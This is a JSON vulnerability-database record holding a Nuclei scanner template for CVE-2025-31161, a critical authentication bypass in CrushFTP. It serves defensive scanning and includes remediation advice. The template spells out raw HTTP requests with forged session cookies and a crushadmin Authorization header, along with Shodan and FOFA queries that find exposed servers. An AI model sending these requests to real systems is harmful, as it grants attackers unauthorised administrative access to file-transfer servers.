{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-31161/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-31161/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-31161/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-31161/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-31161/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-31161"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-31161"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-31161.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2025-31161\n\ninfo:\n  name: CrushFTP - Authentication Bypass\n  author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch,whattheslime\n  severity: critical\n  description: |\n    CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.\n  impact: |\n    Unauthenticated attackers can bypass authentication by forging session cookies, gaining unauthorized administrative access to CrushFTP and potentially compromising the entire file transfer infrastructure.\n  remediation: |\n    Upgrade to CrushFTP version 10.8.4 or 11.3.1 or later that properly validates session authentication.\n  reference:\n    - https://projectdiscovery.io/blog/crushftp-authentication-bypass/\n    - https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/\n    - https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-31161\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-31161\n    cwe-id: CWE-287\n    epss-score: 0.99976\n    epss-percentile: 0.99978\n  metadata:\n    max-request: 2\n    vendor: crushftp\n    product: crushftp\n    shodan-query:\n      - http.title:\"CrushFTP WebInterface\"\n      - http.favicon.hash:-1022206565\n      - http.html:\"crushftp\"\n    fofa-query:\n      - icon_hash=\"-1022206565\"\n      - title=\"CrushFTP WebInterface\"\n      - body=\"crushftp\"\n  tags: cve,cve2025,crushftp,unauth,auth-bypass,rce,kev,vkev,vuln\n\nvariables:\n  string_1: \"{{rand_text_numeric(13)}}\"\n  string_2: \"{{rand_text_alpha(28)}}\"\n  string_3: \"{{rand_text_numeric(4)}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1\n        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}\n        Host: {{Hostname}}\n        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/\n\n      - |\n        GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1\n        Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}\n        Host: {{Hostname}}\n        Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"<user_list_subitem>crushadmin</user_list_subitem>\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/xml\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022048ffaab0a109045397d37950ed371aad99d7526b1d29e85be538427cae3069e8022100db305a6437e4e6f961895a553a631af2cba307a06fa2f1424ab7e1c1bdeb808a:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-31161"
}